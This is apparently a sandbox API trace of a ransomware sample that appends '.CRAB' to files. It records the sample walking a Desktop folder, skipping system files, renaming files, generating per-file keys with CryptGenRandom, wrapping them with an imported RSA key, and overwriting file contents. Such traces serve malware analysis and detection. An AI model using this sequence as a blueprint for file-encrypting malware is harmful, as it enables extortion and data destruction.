	[0125.392] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.392] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0125.393] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0125.393] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6eb78) returned 1
	[0125.393] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3158180) returned 1
	[0125.393] CryptGetKeyParam (in: hKey=0x3158180, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0125.393] CryptEncrypt (in: hKey=0x3158180, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0125.394] GetLastError () returned 0x0
	[0125.394] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0125.394] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e6b0) returned 1
	[0125.394] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3158680) returned 1
	[0125.395] CryptGetKeyParam (in: hKey=0x3158680, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0125.395] CryptEncrypt (in: hKey=0x3158680, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0125.395] GetLastError () returned 0x0
	[0125.395] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0125.395] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\uPzP1fSCYo9DQgW.mkv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\upzp1fscyo9dqgw.mkv.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0125.396] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0125.396] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0125.397] ReadFile (in: hFile=0x3e8, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314d46c*=0x130e3, lpOverlapped=0x0) returned 1
	[0125.411] VirtualAlloc (lpAddress=0x0, dwSize=0x130f0, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0125.413] VirtualAlloc (lpAddress=0x0, dwSize=0x130f0, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0125.415] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.415] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffecf1d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.416] WriteFile (in: hFile=0x3e8, lpBuffer=0x3010000*, nNumberOfBytesToWrite=0x130f0, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x3010000*, lpNumberOfBytesWritten=0x314d45c*=0x130f0, lpOverlapped=0x0) returned 1
	[0125.416] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.417] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.422] WriteFile (in: hFile=0x3e8, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0125.422] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0125.422] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0125.422] CloseHandle (hObject=0x3e8) returned 1
	[0125.424] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.424] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.424] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.424] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.425] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.425] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.425] FindNextFileW (in: hFindFile=0xded2e8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0125.425] lstrcmpW (lpString1="Ut30lj.mp4", lpString2=".") returned 1
	[0125.425] lstrcmpW (lpString1="Ut30lj.mp4", lpString2="..") returned 1
	[0125.425] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\", lpString2="Ut30lj.mp4" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ut30lj.mp4") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ut30lj.mp4"
	[0125.425] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0125.426] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ut30lj.mp4") returned 40
	[0125.426] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ut30lj.mp4") returned 40
	[0125.426] lstrlenW (lpString=".mp4") returned 4
	[0125.426] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0125.426] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".mp4 ") returned 5
	[0125.426] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.426] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ut30lj.mp4") returned 40
	[0125.426] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ut30lj.mp4") returned 40
	[0125.426] lstrcmpiW (lpString1="Ut30lj.mp4", lpString2="desktop.ini") returned 1
	[0125.427] lstrcmpiW (lpString1="Ut30lj.mp4", lpString2="autorun.inf") returned 1
	[0125.427] lstrcmpiW (lpString1="Ut30lj.mp4", lpString2="ntuser.dat") returned 1
	[0125.427] lstrcmpiW (lpString1="Ut30lj.mp4", lpString2="iconcache.db") returned 1
	[0125.427] lstrcmpiW (lpString1="Ut30lj.mp4", lpString2="bootsect.bak") returned 1
	[0125.427] lstrcmpiW (lpString1="Ut30lj.mp4", lpString2="boot.ini") returned 1
	[0125.427] lstrcmpiW (lpString1="Ut30lj.mp4", lpString2="ntuser.dat.log") returned 1
	[0125.427] lstrcmpiW (lpString1="Ut30lj.mp4", lpString2="thumbs.db") returned 1
	[0125.427] lstrcmpiW (lpString1="Ut30lj.mp4", lpString2="CRAB-DECRYPT.txt") returned 1
	[0125.427] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0125.427] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ut30lj.mp4.CRAB") returned 45
	[0125.427] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ut30lj.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ut30lj.mp4")) returned 0x20
	[0125.427] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ut30lj.mp4", dwFileAttributes=0x20) returned 1
	[0125.428] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ut30lj.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ut30lj.mp4"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ut30lj.mp4.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ut30lj.mp4.crab")) returned 1
	[0125.429] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0125.429] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ut30lj.mp4.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ut30lj.mp4.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ut30lj.mp4.CRAB"
	[0125.429] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ut30lj.mp4.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ut30lj.mp4.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ut30lj.mp4.CRAB.CRAB"
	[0125.429] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6ed98) returned 1
	[0125.430] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0125.430] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0125.430] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0125.431] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0125.431] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0125.431] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.431] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e5a0) returned 1
	[0125.431] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0125.432] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0125.432] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0125.432] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0125.432] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0125.432] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.433] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0125.433] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0125.433] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0125.434] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x31581c0) returned 1
	[0125.434] CryptGetKeyParam (in: hKey=0x31581c0, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0125.434] CryptEncrypt (in: hKey=0x31581c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0125.434] GetLastError () returned 0x0
	[0125.434] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0125.434] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6ed98) returned 1
	[0125.438] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3158540) returned 1
	[0125.438] CryptGetKeyParam (in: hKey=0x3158540, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0125.438] CryptEncrypt (in: hKey=0x3158540, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0125.438] GetLastError () returned 0x0
	[0125.438] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0125.438] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ut30lj.mp4.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ut30lj.mp4.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0125.439] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0125.440] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0125.440] ReadFile (in: hFile=0x3e8, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314d46c*=0x188b8, lpOverlapped=0x0) returned 1
	[0125.453] VirtualAlloc (lpAddress=0x0, dwSize=0x188c0, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0125.455] VirtualAlloc (lpAddress=0x0, dwSize=0x188c0, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0125.458] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.458] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffe7748, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.458] WriteFile (in: hFile=0x3e8, lpBuffer=0x3010000*, nNumberOfBytesToWrite=0x188c0, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x3010000*, lpNumberOfBytesWritten=0x314d45c*=0x188c0, lpOverlapped=0x0) returned 1
	[0125.459] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.459] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.464] WriteFile (in: hFile=0x3e8, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0125.464] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0125.465] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0125.465] CloseHandle (hObject=0x3e8) returned 1
	[0125.465] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.465] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.465] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.466] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.466] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.466] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.466] FindNextFileW (in: hFindFile=0xded2e8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0125.466] lstrcmpW (lpString1="UwtnYLs3pX ny6EOTE.gif", lpString2=".") returned 1
	[0125.466] lstrcmpW (lpString1="UwtnYLs3pX ny6EOTE.gif", lpString2="..") returned 1
	[0125.466] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\", lpString2="UwtnYLs3pX ny6EOTE.gif" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\UwtnYLs3pX ny6EOTE.gif") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\UwtnYLs3pX ny6EOTE.gif"
	[0125.466] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0125.467] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\UwtnYLs3pX ny6EOTE.gif") returned 52
	[0125.467] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\UwtnYLs3pX ny6EOTE.gif") returned 52
	[0125.467] lstrlenW (lpString=".gif") returned 4
	[0125.467] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0125.467] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".gif ") returned 5
	[0125.467] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.467] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\UwtnYLs3pX ny6EOTE.gif") returned 52
	[0125.467] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\UwtnYLs3pX ny6EOTE.gif") returned 52
	[0125.468] lstrcmpiW (lpString1="UwtnYLs3pX ny6EOTE.gif", lpString2="desktop.ini") returned 1
	[0125.468] lstrcmpiW (lpString1="UwtnYLs3pX ny6EOTE.gif", lpString2="autorun.inf") returned 1
	[0125.468] lstrcmpiW (lpString1="UwtnYLs3pX ny6EOTE.gif", lpString2="ntuser.dat") returned 1
	[0125.468] lstrcmpiW (lpString1="UwtnYLs3pX ny6EOTE.gif", lpString2="iconcache.db") returned 1
	[0125.468] lstrcmpiW (lpString1="UwtnYLs3pX ny6EOTE.gif", lpString2="bootsect.bak") returned 1
	[0125.468] lstrcmpiW (lpString1="UwtnYLs3pX ny6EOTE.gif", lpString2="boot.ini") returned 1
	[0125.468] lstrcmpiW (lpString1="UwtnYLs3pX ny6EOTE.gif", lpString2="ntuser.dat.log") returned 1
	[0125.468] lstrcmpiW (lpString1="UwtnYLs3pX ny6EOTE.gif", lpString2="thumbs.db") returned 1
	[0125.468] lstrcmpiW (lpString1="UwtnYLs3pX ny6EOTE.gif", lpString2="CRAB-DECRYPT.txt") returned 1
	[0125.468] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0125.471] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\UwtnYLs3pX ny6EOTE.gif.CRAB") returned 57
	[0125.471] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\UwtnYLs3pX ny6EOTE.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\uwtnyls3px ny6eote.gif")) returned 0x20
	[0125.471] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\UwtnYLs3pX ny6EOTE.gif", dwFileAttributes=0x20) returned 1
	[0125.471] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\UwtnYLs3pX ny6EOTE.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\uwtnyls3px ny6eote.gif"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\UwtnYLs3pX ny6EOTE.gif.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\uwtnyls3px ny6eote.gif.crab")) returned 1
	[0125.472] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0125.472] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\UwtnYLs3pX ny6EOTE.gif.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\UwtnYLs3pX ny6EOTE.gif.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\UwtnYLs3pX ny6EOTE.gif.CRAB"
	[0125.472] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\UwtnYLs3pX ny6EOTE.gif.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\UwtnYLs3pX ny6EOTE.gif.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\UwtnYLs3pX ny6EOTE.gif.CRAB.CRAB"
	[0125.473] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6ed98) returned 1
	[0125.473] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0125.473] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0125.474] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0125.474] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0125.474] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0125.474] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.474] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0125.474] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0125.475] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0125.475] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0125.475] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0125.475] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0125.475] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.475] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0125.476] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0125.476] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0125.476] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x31586c0) returned 1
	[0125.477] CryptGetKeyParam (in: hKey=0x31586c0, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0125.477] CryptEncrypt (in: hKey=0x31586c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0125.477] GetLastError () returned 0x0
	[0125.477] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0125.477] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0125.477] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x31585c0) returned 1
	[0125.478] CryptGetKeyParam (in: hKey=0x31585c0, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0125.478] CryptEncrypt (in: hKey=0x31585c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0125.478] GetLastError () returned 0x0
	[0125.478] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0125.478] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\UwtnYLs3pX ny6EOTE.gif.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\uwtnyls3px ny6eote.gif.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0125.478] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0125.479] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0125.479] ReadFile (in: hFile=0x3e8, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314d46c*=0xfc73, lpOverlapped=0x0) returned 1
	[0125.493] VirtualAlloc (lpAddress=0x0, dwSize=0xfc80, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0125.495] VirtualAlloc (lpAddress=0x0, dwSize=0xfc80, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0125.496] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.497] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xffff038d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
